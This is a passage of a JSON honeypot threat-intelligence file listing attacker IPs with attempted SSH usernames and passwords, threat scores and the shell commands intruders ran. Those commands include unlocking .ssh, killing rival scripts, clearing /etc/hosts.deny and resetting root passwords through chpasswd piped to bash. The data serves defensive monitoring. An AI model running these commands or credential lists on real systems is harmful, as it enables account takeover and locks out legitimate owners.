        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nitmNc6AifP9U\\nitmNc6AifP9U\\n\"|passwd",
        "echo \"cyrus\\nxY4ShZskV2vX\\nxY4ShZskV2vX\\n\"|passwd",
        "echo \"n8n\\no6VT16yiUBNE\\no6VT16yiUBNE\\n\"|passwd",
        "echo \"root:4z2vm2CaQi7x\"|chpasswd|bash",
        "echo \"root:BlEIYjD8HgP4\"|chpasswd|bash",
        "echo \"root:CqX6UZ4jdU1z\"|chpasswd|bash",
        "echo \"svn123\\ncAZghOIlUJcR\\ncAZghOIlUJcR\\n\"|passwd",
        "echo \"wafpass\\nZ8U1zODIcf6r\\nZ8U1zODIcf6r\\n\"|passwd",
        "echo -e \"1234\\nitmNc6AifP9U\\nitmNc6AifP9U\"|passwd|bash",
        "echo -e \"cyrus\\nxY4ShZskV2vX\\nxY4ShZskV2vX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Bogota",
      "asn": 54004,
      "as_org": "Cablevision Lightpath LLC",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 871,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:28:48.233000+00:00",
        "last_seen_30d": "2026-03-23T23:33:47.922000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 746,
        "Suricata": 125
      }
    },
    "103.113.105.228": {
      "attack_count": 611,
      "first_seen": "2026-03-09T02:46:02.867Z",
      "last_seen": "2026-03-25T22:55:04.557Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "clawd",
        "hasan",
        "karan",
        "mgmt",
        "michele",
        "ansible",
        "asdf",
        "elizabeth",
        "evan",
        "ftpuser01",
        "guest",
        "hyun",
        "ibrahim",
        "laurent",
        "linuxadmin",
        "peter",
        "shawn",
        "student10"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "123",
        "201314",
        "90909090",
        "Ansible123!",
        "P@ssW0rd",
        "Reza1234",
        "Tian123!",
        "Zh123456@",
        "evan123!",
        "guest123!",
        "hyunpass",
        "ibrahim1234",
        "karan123",
        "laurent123",
        "password",
        "shawnpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nZnOA08pICSZo\\nZnOA08pICSZo\\n\"|passwd",
        "echo \"123456\\nkfSvlt8EpdNT\\nkfSvlt8EpdNT\\n\"|passwd",
        "echo \"123\\n6anBqCW5Z4gB\\n6anBqCW5Z4gB\\n\"|passwd",
        "echo \"123\\nw6WKtYCu8bXT\\nw6WKtYCu8bXT\\n\"|passwd",
        "echo \"karan123\\n7llWAXUkGjSe\\n7llWAXUkGjSe\\n\"|passwd",
        "echo \"root:K6YmPhf7kOIv\"|chpasswd|bash",
        "echo \"root:xUBhsplH9Stg\"|chpasswd|bash",
        "echo -e \"123456\\nZnOA08pICSZo\\nZnOA08pICSZo\"|passwd|bash",
        "echo -e \"123456\\nkfSvlt8EpdNT\\nkfSvlt8EpdNT\"|passwd|bash",
        "echo -e \"123\\n6anBqCW5Z4gB\\n6anBqCW5Z4gB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 138718,
      "as_org": "Ekowebtech It Services Pvt Ltd",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 706,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:46:02.867000+00:00",
        "last_seen_30d": "2026-03-25T22:56:11.827000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 611,
        "Suricata": 95
      }
    },
    "165.227.203.127": {
      "attack_count": 503,
      "first_seen": "2026-03-13T16:22:08.178Z",
      "last_seen": "2026-03-13T17:53:56.672Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "oracle",
        "postgres",
        "test",
        "zabbix",
        "hadoop"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "hadoop",
        "oracle",
        "postgres",
        "root",
        "root1",
        "root12",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 718,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T16:22:08.178000+00:00",
        "last_seen_30d": "2026-03-13T17:55:05.771000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 503,
        "Suricata": 215
      }
    },
    "159.89.198.208": {
      "attack_count": 424,
      "first_seen": "2026-03-16T07:52:14.300Z",
      "last_seen": "2026-03-27T18:37:03.842Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ghostadmin",
        "k8suser",
        "daniel",
        "dario",
        "den",
        "matin",
        "passbolt",
        "viewer",
        "wyy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111qqq,,,",
        "123",
        "123123!@#",
        "12345678",
        "123456789aaa",
        "123admin123",
        "1qaz@Wsx#Edc",
        "2600",
        "@Admin2024",
        "Aa778899",
        "Ghostadmin123!",
        "Lion@123",
        "Matin123!",
        "Tc123456",
        "Wyy123!",
        "Xy123456.",
        "anathema",
        "danielle"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Ghostadmin123!\\n3eES1xeLf1Db\\n3eES1xeLf1Db\\n\"|passwd",
        "echo \"k8suser\\nb4JV8hUabXl7\\nb4JV8hUabXl7\\n\"|passwd",
        "echo \"root:0ScOfMOnWnWu\"|chpasswd|bash",
        "echo \"root:rinwle398h2E\"|chpasswd|bash",
        "echo -e \"Ghostadmin123!\\n3eES1xeLf1Db\\n3eES1xeLf1Db\"|passwd|bash",
        "echo -e \"k8suser\\nb4JV8hUabXl7\\nb4JV8hUabXl7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:52:14.300000+00:00",
        "last_seen_30d": "2026-03-27T18:38:09.404000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 100
      }
    },
    "51.75.194.10": {
      "attack_count": 330,
      "first_seen": "2026-03-14T08:48:38.706Z",
      "last_seen": "2026-03-16T19:16:43.599Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "thomas",
        "ankit",
        "assist",
        "bodega",
        "casa",
        "eddy",
        "kapsch",
        "mukesh",
        "nikhil",
        "player",
        "purple",
        "rd",
        "rochelle",
        "rundeck",
        "rustserver",
        "sftpuser",
        "socksuser",
        "student10"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "!QAZ2wsx#EDC",
        "123",
        "12345",
        "Aa123!@#",
        "Az123456@",
        "Qw123456",
        "Rustserver",
        "Sftpuser123",
        "Socksuser123",
        "Thomas123",
        "Weblogic",
        "ankit@123456",
        "bodega123",
        "casacasa",
        "kapschpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Thomas123\\nYxt2NgWyvLgk\\nYxt2NgWyvLgk\\n\"|passwd",
        "echo \"root:5rqvoPeNdPDF\"|chpasswd|bash",
        "echo \"root:ETaR4tFb14Oe\"|chpasswd|bash",
        "echo -e \"Thomas123\\nYxt2NgWyvLgk\\nYxt2NgWyvLgk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T08:48:38.706000+00:00",
        "last_seen_30d": "2026-03-16T19:17:45.197000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "174.138.6.62": {
      "attack_count": 305,
      "first_seen": "2026-03-09T12:50:34.658Z",
      "last_seen": "2026-03-09T13:50:48.069Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "centos"
      ],
      "passwords_attempted": [
        "123456",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:50:34.658000+00:00",
        "last_seen_30d": "2026-03-09T13:51:53.057000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 305,
        "Suricata": 134
      }
    },
    "81.192.46.49": {
      "attack_count": 287,
      "first_seen": "2026-03-10T10:29:22.203Z",
      "last_seen": "2026-03-25T22:28:02.266Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ashish",
        "centos7",
        "clawd",
        "ankit",
        "comp",
        "deployer",
        "informatica",
        "iot",
        "jirka",
        "labs",
        "mosquitto",
        "silvia",
        "sonarqube",
        "test01",
        "user001",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123",
        "1234",
        "12345678",
        "Informatica123!",
        "Iot123!",
        "Test01123",
        "ankit1234",
        "ashish1234",
        "deployer1234",
        "silvia123!",
        "user001123!",
        "user3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n7xAJEJU7SgHP\\n7xAJEJU7SgHP\\n\"|passwd",
        "echo \"12345\\n6II1aKcNF8Ld\\n6II1aKcNF8Ld\\n\"|passwd",
        "echo \"ashish1234\\n79CvOt9ouPzW\\n79CvOt9ouPzW\\n\"|passwd",
        "echo -e \"123456\\n7xAJEJU7SgHP\\n7xAJEJU7SgHP\"|passwd|bash",
        "echo -e \"12345\\n6II1aKcNF8Ld\\n6II1aKcNF8Ld\"|passwd|bash",
        "echo -e \"ashish1234\\n79CvOt9ouPzW\\n79CvOt9ouPzW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:29:22.203000+00:00",
        "last_seen_30d": "2026-03-25T22:29:10.406000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 51
      }
    },
    "116.193.190.100": {
      "attack_count": 282,
      "first_seen": "2026-03-21T05:33:00.933Z",
      "last_seen": "2026-03-21T06:05:55.377Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elk",
        "jupyter",
        "water",
        "dockeruser",
        "geoserver",
        "maria",
        "mike",
        "panel",
        "redis",
        "richard",
        "root",
        "testtest",
        "testuser2",
        "unix",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Elk123!",
        "Geoserver123",
        "Richard123",
        "Testtest123",
        "Water",
        "mariapass",
        "mikepass",
        "mima123456",
        "panel@123456",
        "redis@123",
        "testuser2123",
        "unix@123456",
        "victorvictor"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\na5a0xqaNt6aU\\na5a0xqaNt6aU\\n\"|passwd",
        "echo \"Elk123!\\nYZckuuQXja68\\nYZckuuQXja68\\n\"|passwd",
        "echo \"Water\\ngArVOUGOGMU9\\ngArVOUGOGMU9\\n\"|passwd",
        "echo -e \"123456\\na5a0xqaNt6aU\\na5a0xqaNt6aU\"|passwd|bash",
        "echo -e \"Elk123!\\nYZckuuQXja68\\nYZckuuQXja68\"|passwd|bash",
        "echo -e \"Water\\ngArVOUGOGMU9\\ngArVOUGOGMU9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T05:33:00.933000+00:00",
        "last_seen_30d": "2026-03-21T06:06:57.940000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 48
      }
    },
    "14.47.56.17": {
      "attack_count": 268,
      "first_seen": "2026-03-11T13:14:47.809Z",
      "last_seen": "2026-03-22T11:41:45.342Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "n8n",
        "pop",
        "alfredo",
        "automation",
        "casa",
        "debianuser",
        "esadmin",
        "foundry",
        "interview",
        "iptv",
        "lighthouse",
        "open",
        "ops",
        "proxyuser",
        "rms",
        "root",
        "rr",
        "sarah",
        "scanner"
      ],
      "passwords_attempted": [
        "123",
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Alfredo123!",
        "Esadmin",
        "Wikijs123!",
        "asdasd123",
        "foundry",
        "interviewinterview",
        "iptv123!",
        "n8n",
        "open",
        "ops123!",
        "pop@123",
        "rms",
        "sarah"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"n8n\\nl1QQOOUjB8ls\\nl1QQOOUjB8ls\\n\"|passwd",
        "echo \"pop@123\\n1kZpE2jmelj4\\n1kZpE2jmelj4\\n\"|passwd",
        "echo -e \"n8n\\nl1QQOOUjB8ls\\nl1QQOOUjB8ls\"|passwd|bash",
        "echo -e \"pop@123\\n1kZpE2jmelj4\\n1kZpE2jmelj4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:14:47.809000+00:00",
        "last_seen_30d": "2026-03-22T11:42:45.643000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 70
      }
    },
    "165.154.6.34": {
      "attack_count": 263,
      "first_seen": "2026-03-23T10:47:56.892Z",
      "last_seen": "2026-03-24T23:11:24.380Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "begins",
        "root",
        "salman",
        "api",
        "demonstration",
        "elaine",
        "exit",
        "furukawa",
        "ghost",
        "harry",
        "jiangyiheng",
        "lea",
        "max",
        "mediaexcel",
        "mpi",
        "neeraj",
        "palworld",
        "roland",
        "tian"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Harry123",
        "Zz123456",
        "api",
        "begins",
        "demonstration",
        "exit",
        "furukawa",
        "ghost123!",
        "jiangyiheng",
        "lea",
        "maxpass",
        "mediaexcel",
        "mpi",
        "neeraj",
        "palworld123!",
        "q1w2e3r4Q!W@E#R$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n32V7PjAI0w3S\\n32V7PjAI0w3S\\n\"|passwd",
        "echo \"begins\\nRtDyAvlO8voC\\nRtDyAvlO8voC\\n\"|passwd",
        "echo -e \"12345678\\n32V7PjAI0w3S\\n32V7PjAI0w3S\"|passwd|bash",
        "echo -e \"begins\\nRtDyAvlO8voC\\nRtDyAvlO8voC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T10:47:56.892000+00:00",
        "last_seen_30d": "2026-03-24T23:12:28.248000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "180.252.159.151": {
      "attack_count": 261,
      "first_seen": "2026-03-10T02:08:49.562Z",
      "last_seen": "2026-03-10T02:34:41.776Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "devuser",
        "ts3",
        "clawd",
        "jupyter",
        "km",
        "mobiquity",
        "nfe",
        "onlyoffice",
        "simeon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "Minijer.com",
        "Nfe123!",
        "km123!",
        "mobiquity123",
        "onlyoffice",
        "qaz123456.",
        "simeon1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\n6W7S9fs08Tau\\n6W7S9fs08Tau\\n\"|passwd",
        "echo \"123\\nidBuTNdRPfUQ\\nidBuTNdRPfUQ\\n\"|passwd",
        "echo \"root:PxyO0USiWXiF\"|chpasswd|bash",
        "echo -e \"1234\\n6W7S9fs08Tau\\n6W7S9fs08Tau\"|passwd|bash",
        "echo -e \"123\\nidBuTNdRPfUQ\\nidBuTNdRPfUQ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
